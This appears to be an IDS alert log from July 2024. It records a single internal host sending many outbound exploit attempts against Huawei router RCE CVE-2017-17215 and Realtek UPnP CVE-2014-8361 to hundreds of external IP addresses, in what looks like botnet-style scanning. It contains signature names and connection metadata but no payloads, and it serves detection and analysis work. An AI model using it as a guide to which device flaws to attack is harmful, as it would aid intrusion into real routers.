07/20/24-23:10:45.129206	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43422	52869	192.168.2.15	200.10.220.119
07/20/24-23:10:39.431804	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47204	37215	192.168.2.15	41.135.100.3
07/20/24-23:10:39.479427	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56498	37215	192.168.2.15	205.121.31.87
07/20/24-23:10:39.479939	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48196	37215	192.168.2.15	20.255.176.224
07/20/24-23:10:39.488246	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	32936	37215	192.168.2.15	197.52.85.28
07/20/24-23:10:42.630026	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	42686	52869	192.168.2.15	102.119.6.178
07/20/24-23:10:52.564314	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	47604	37215	192.168.2.15	41.234.208.153
07/20/24-23:11:06.706527	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60362	37215	192.168.2.15	157.35.28.210
07/20/24-23:10:49.402846	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46458	37215	192.168.2.15	41.230.250.188
07/20/24-23:10:51.898994	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40506	52869	192.168.2.15	14.45.204.86
07/20/24-23:11:03.381593	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36082	37215	192.168.2.15	197.80.71.112
07/20/24-23:10:49.355429	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41098	37215	192.168.2.15	157.21.149.230
07/20/24-23:10:42.629188	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56698	52869	192.168.2.15	69.210.2.130
07/20/24-23:10:46.756315	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33930	37215	192.168.2.15	41.91.56.136
07/20/24-23:10:42.266162	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58630	37215	192.168.2.15	197.194.143.112
07/20/24-23:10:47.735808	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47698	52869	192.168.2.15	86.41.84.165
07/20/24-23:10:39.438615	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34812	37215	192.168.2.15	197.167.93.130
07/20/24-23:10:52.572631	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39952	37215	192.168.2.15	44.223.237.79
07/20/24-23:10:46.750827	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37674	37215	192.168.2.15	197.19.165.238
07/20/24-23:10:42.273908	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50906	37215	192.168.2.15	157.31.186.62
07/20/24-23:10:39.086935	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53020	52869	192.168.2.15	157.142.69.44
07/20/24-23:10:39.474284	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45236	37215	192.168.2.15	41.197.53.118
07/20/24-23:10:51.917508	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43532	52869	192.168.2.15	60.113.117.170
07/20/24-23:10:44.798999	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	32798	52869	192.168.2.15	222.79.179.243
07/20/24-23:10:56.007995	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33812	37215	192.168.2.15	150.120.29.98
07/20/24-23:10:56.024382	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42280	37215	192.168.2.15	41.231.169.250
07/20/24-23:10:52.024960	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44888	52869	192.168.2.15	103.44.42.7
07/20/24-23:10:41.693872	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47850	37215	192.168.2.15	197.150.107.212
07/20/24-23:11:03.352491	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58310	37215	192.168.2.15	197.108.86.125
07/20/24-23:10:52.047583	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36086	52869	192.168.2.15	2.190.145.125
07/20/24-23:10:46.817181	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54106	37215	192.168.2.15	41.0.193.209
07/20/24-23:10:51.940555	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	36014	52869	192.168.2.15	129.64.233.15
07/20/24-23:10:55.979374	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39522	37215	192.168.2.15	197.66.194.114
07/20/24-23:10:52.598915	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	36828	37215	192.168.2.15	157.246.232.48
07/20/24-23:10:56.002190	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40040	37215	192.168.2.15	197.224.199.166
07/20/24-23:10:41.241817	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60980	37215	192.168.2.15	8.33.228.87
07/20/24-23:11:06.669620	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60090	37215	192.168.2.15	157.125.87.19
07/20/24-23:10:43.890801	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52482	52869	192.168.2.15	141.208.201.80
07/20/24-23:10:56.046358	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39784	37215	192.168.2.15	197.52.107.71
07/20/24-23:10:42.630640	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60034	52869	192.168.2.15	107.205.165.229
07/20/24-23:10:59.029071	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49752	37215	192.168.2.15	157.226.97.81
07/20/24-23:10:46.015455	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	40828	52869	192.168.2.15	119.63.35.114
07/20/24-23:10:51.961781	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33582	52869	192.168.2.15	86.108.11.155
07/20/24-23:11:03.390577	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55364	37215	192.168.2.15	197.66.86.212
07/20/24-23:10:52.592459	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	37772	37215	192.168.2.15	41.128.15.43
07/20/24-23:10:56.007995	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34006	37215	192.168.2.15	197.179.102.250
07/20/24-23:10:56.046357	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37974	37215	192.168.2.15	157.29.39.190
07/20/24-23:11:03.396755	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33264	37215	192.168.2.15	41.20.234.243
07/20/24-23:10:42.642008	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	44534	52869	192.168.2.15	203.39.100.182
07/20/24-23:10:43.912015	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53734	52869	192.168.2.15	200.157.164.208
07/20/24-23:10:44.653577	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59708	52869	192.168.2.15	222.44.99.94
07/20/24-23:10:49.404246	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45608	37215	192.168.2.15	197.112.79.16
07/20/24-23:10:46.865461	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43298	37215	192.168.2.15	41.76.77.102
07/20/24-23:10:42.262762	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33588	37215	192.168.2.15	197.89.134.2
07/20/24-23:10:49.398416	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	42846	37215	192.168.2.15	122.62.66.140
07/20/24-23:10:55.977404	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	53148	37215	192.168.2.15	157.108.206.192
07/20/24-23:10:42.269853	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36970	37215	192.168.2.15	41.112.219.106
07/20/24-23:10:56.002189	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41614	37215	192.168.2.15	147.126.106.87
07/20/24-23:10:43.209193	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	37926	52869	192.168.2.15	109.200.111.240
07/20/24-23:10:52.033728	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60848	52869	192.168.2.15	99.171.211.36
07/20/24-23:10:52.572631	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50180	37215	192.168.2.15	163.176.80.203
07/20/24-23:10:41.689073	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	46970	37215	192.168.2.15	216.129.222.152
07/20/24-23:11:06.678578	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53772	37215	192.168.2.15	157.79.234.73
07/20/24-23:10:47.661709	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57440	52869	192.168.2.15	149.136.218.225
07/20/24-23:10:39.137399	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	36298	52869	192.168.2.15	91.122.92.170
07/20/24-23:10:40.658204	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43080	37215	192.168.2.15	133.236.123.161
07/20/24-23:10:39.485535	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58804	37215	192.168.2.15	197.162.71.183
07/20/24-23:10:42.636108	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	49472	52869	192.168.2.15	134.116.6.133
07/20/24-23:10:51.940743	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41188	52869	192.168.2.15	34.33.224.36
07/20/24-23:10:40.658204	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36836	37215	192.168.2.15	115.19.25.169
07/20/24-23:10:41.230206	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47042	37215	192.168.2.15	67.216.209.193
07/20/24-23:10:41.220653	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40522	37215	192.168.2.15	197.248.148.38
07/20/24-23:10:43.416892	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34096	52869	192.168.2.15	210.237.234.110
07/20/24-23:11:03.371424	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	55440	37215	192.168.2.15	157.100.184.225
07/20/24-23:10:52.551688	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44076	37215	192.168.2.15	157.185.86.77
07/20/24-23:10:40.650979	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47314	37215	192.168.2.15	41.200.3.16
07/20/24-23:10:47.856055	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34974	52869	192.168.2.15	143.186.214.112
07/20/24-23:11:06.689532	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43098	37215	192.168.2.15	157.69.206.184
07/20/24-23:10:39.430692	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59080	37215	192.168.2.15	166.129.166.145
07/20/24-23:10:52.549473	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40594	37215	192.168.2.15	47.37.4.111
07/20/24-23:11:06.646712	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53262	37215	192.168.2.15	157.0.200.163
07/20/24-23:10:56.021160	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33644	37215	192.168.2.15	197.68.217.148
07/20/24-23:10:55.993044	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52512	37215	192.168.2.15	151.26.100.131
07/20/24-23:11:03.402557	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33720	37215	192.168.2.15	24.199.214.168
07/20/24-23:10:40.662520	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48602	37215	192.168.2.15	157.131.188.191
07/20/24-23:10:49.409236	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42528	37215	192.168.2.15	17.132.101.117
07/20/24-23:10:42.266163	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54950	37215	192.168.2.15	31.117.210.59
07/20/24-23:10:46.600005	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43556	52869	192.168.2.15	12.188.91.94
07/20/24-23:10:52.004720	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41498	52869	192.168.2.15	2.202.26.203
07/20/24-23:10:41.230206	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57446	37215	192.168.2.15	218.122.204.1
07/20/24-23:10:55.979374	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	34942	37215	192.168.2.15	144.122.77.129
07/20/24-23:10:42.622796	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39654	52869	192.168.2.15	208.102.27.6
07/20/24-23:10:49.348462	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33832	37215	192.168.2.15	197.158.160.210
07/20/24-23:11:06.641258	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58510	37215	192.168.2.15	41.210.143.217
07/20/24-23:11:03.378926	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60600	37215	192.168.2.15	41.222.232.149
07/20/24-23:10:51.984562	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34948	52869	192.168.2.15	119.185.234.171
07/20/24-23:11:06.696229	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33432	37215	192.168.2.15	41.112.133.24
07/20/24-23:10:52.033727	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	39878	52869	192.168.2.15	125.158.123.72
07/20/24-23:10:39.114530	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52890	52869	192.168.2.15	155.186.2.88
07/20/24-23:10:47.864657	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54104	52869	192.168.2.15	116.208.181.41
07/20/24-23:11:06.676715	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60530	37215	192.168.2.15	41.206.83.67
07/20/24-23:10:52.045718	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44108	52869	192.168.2.15	86.115.137.64
07/20/24-23:10:43.571824	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33912	52869	192.168.2.15	140.79.132.232
07/20/24-23:10:42.636830	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59368	52869	192.168.2.15	32.52.148.97
07/20/24-23:10:40.599066	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	52806	37215	192.168.2.15	157.236.94.127
07/20/24-23:11:06.687949	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40534	37215	192.168.2.15	157.157.26.236
07/20/24-23:10:41.241455	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33158	37215	192.168.2.15	41.27.64.243
07/20/24-23:10:46.768902	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38930	37215	192.168.2.15	157.152.141.49
07/20/24-23:10:46.809208	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53048	37215	192.168.2.15	206.240.160.72
07/20/24-23:10:41.233111	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51938	37215	192.168.2.15	97.253.204.115
07/20/24-23:10:51.915099	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59298	52869	192.168.2.15	145.210.186.189
07/20/24-23:11:03.365384	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43214	37215	192.168.2.15	157.243.245.128
07/20/24-23:10:46.734527	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55890	37215	192.168.2.15	23.23.118.153
07/20/24-23:10:39.493966	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43782	37215	192.168.2.15	166.151.137.80
07/20/24-23:10:40.658204	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48632	37215	192.168.2.15	158.185.201.45
07/20/24-23:10:51.984755	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56148	52869	192.168.2.15	208.102.55.155
07/20/24-23:10:52.549474	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58564	37215	192.168.2.15	139.242.72.156
07/20/24-23:10:51.950747	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44106	52869	192.168.2.15	135.228.190.116
07/20/24-23:10:39.141372	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42866	52869	192.168.2.15	61.53.244.138
07/20/24-23:10:41.227514	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42428	37215	192.168.2.15	197.5.58.230
07/20/24-23:10:59.029814	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37284	37215	192.168.2.15	41.115.249.45
07/20/24-23:11:03.361094	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59526	37215	192.168.2.15	197.15.103.7
07/20/24-23:10:46.735704	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53204	37215	192.168.2.15	41.113.148.221
07/20/24-23:10:39.841312	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	45616	52869	192.168.2.15	223.10.231.163
07/20/24-23:10:39.828524	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46618	52869	192.168.2.15	1.160.86.11
07/20/24-23:10:51.950529	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46638	52869	192.168.2.15	68.235.64.147
07/20/24-23:10:47.974293	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	46652	52869	192.168.2.15	114.103.82.126
07/20/24-23:10:46.829468	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58720	37215	192.168.2.15	150.96.143.155
07/20/24-23:10:52.555606	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52722	37215	192.168.2.15	190.165.188.75
07/20/24-23:11:03.382352	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51002	37215	192.168.2.15	197.43.141.207
07/20/24-23:10:40.608330	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	35480	37215	192.168.2.15	41.177.116.18
07/20/24-23:11:06.689939	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56614	37215	192.168.2.15	157.189.66.214
07/20/24-23:10:39.479939	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43226	37215	192.168.2.15	197.169.40.175
07/20/24-23:10:47.766015	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35640	52869	192.168.2.15	68.232.135.127
07/20/24-23:10:40.650979	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36556	37215	192.168.2.15	41.31.78.156
07/20/24-23:10:40.373501	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	54092	52869	192.168.2.15	13.3.106.56
07/20/24-23:10:40.650979	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40270	37215	192.168.2.15	197.243.62.202
07/20/24-23:11:03.381593	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37798	37215	192.168.2.15	157.120.253.61
07/20/24-23:11:06.687949	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43908	37215	192.168.2.15	41.31.117.19
07/20/24-23:10:51.955556	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	53488	52869	192.168.2.15	92.195.216.129
07/20/24-23:10:52.047769	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49114	52869	192.168.2.15	54.133.250.242
07/20/24-23:10:46.832505	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56972	37215	192.168.2.15	170.182.31.89
07/20/24-23:10:40.644796	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36006	37215	192.168.2.15	64.161.87.250
07/20/24-23:11:06.657863	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40578	37215	192.168.2.15	197.205.44.138
07/20/24-23:11:06.689532	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38992	37215	192.168.2.15	54.88.153.73
07/20/24-23:10:43.452777	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	33710	52869	192.168.2.15	38.143.90.107
07/20/24-23:11:03.352491	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	50358	37215	192.168.2.15	124.162.226.185
07/20/24-23:10:47.599583	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	35308	52869	192.168.2.15	132.67.102.180
07/20/24-23:10:56.039438	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52930	37215	192.168.2.15	157.128.51.72
07/20/24-23:10:39.400634	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60644	52869	192.168.2.15	80.66.53.41
07/20/24-23:10:40.658204	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40044	37215	192.168.2.15	157.89.121.43
07/20/24-23:10:46.735704	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37538	37215	192.168.2.15	41.130.80.223
07/20/24-23:10:51.917055	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46912	52869	192.168.2.15	172.149.150.175
07/20/24-23:11:03.406798	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50432	37215	192.168.2.15	197.175.136.160
07/20/24-23:10:52.061682	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50088	52869	192.168.2.15	186.136.242.161
07/20/24-23:11:03.365385	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39670	37215	192.168.2.15	197.156.237.149
07/20/24-23:10:39.487319	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46082	37215	192.168.2.15	197.146.154.155
07/20/24-23:10:42.255257	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59268	37215	192.168.2.15	197.90.115.179
07/20/24-23:11:06.696228	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57266	37215	192.168.2.15	120.88.21.240
07/20/24-23:10:39.155871	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	47922	52869	192.168.2.15	73.163.96.192
07/20/24-23:10:51.937938	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49240	52869	192.168.2.15	130.31.106.211
07/20/24-23:10:56.007995	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45080	37215	192.168.2.15	129.180.104.22
07/20/24-23:11:06.663147	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	58606	37215	192.168.2.15	170.114.65.210
07/20/24-23:10:46.940043	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39288	52869	192.168.2.15	61.200.31.129
07/20/24-23:10:52.021521	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	37376	52869	192.168.2.15	143.186.214.112
07/20/24-23:10:49.447315	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43922	37215	192.168.2.15	197.131.191.105
07/20/24-23:10:42.620951	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	58956	52869	192.168.2.15	24.231.54.99
07/20/24-23:10:39.478846	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	49010	37215	192.168.2.15	157.5.164.72
07/20/24-23:10:52.021521	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54752	52869	192.168.2.15	93.87.50.30
07/20/24-23:10:39.181280	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41986	52869	192.168.2.15	102.119.6.178
07/20/24-23:11:06.662676	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	56732	37215	192.168.2.15	157.219.131.182
07/20/24-23:10:43.064770	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47902	52869	192.168.2.15	146.67.192.198
07/20/24-23:10:49.430121	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46506	37215	192.168.2.15	125.197.181.211
07/20/24-23:11:06.696229	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38496	37215	192.168.2.15	37.148.82.96
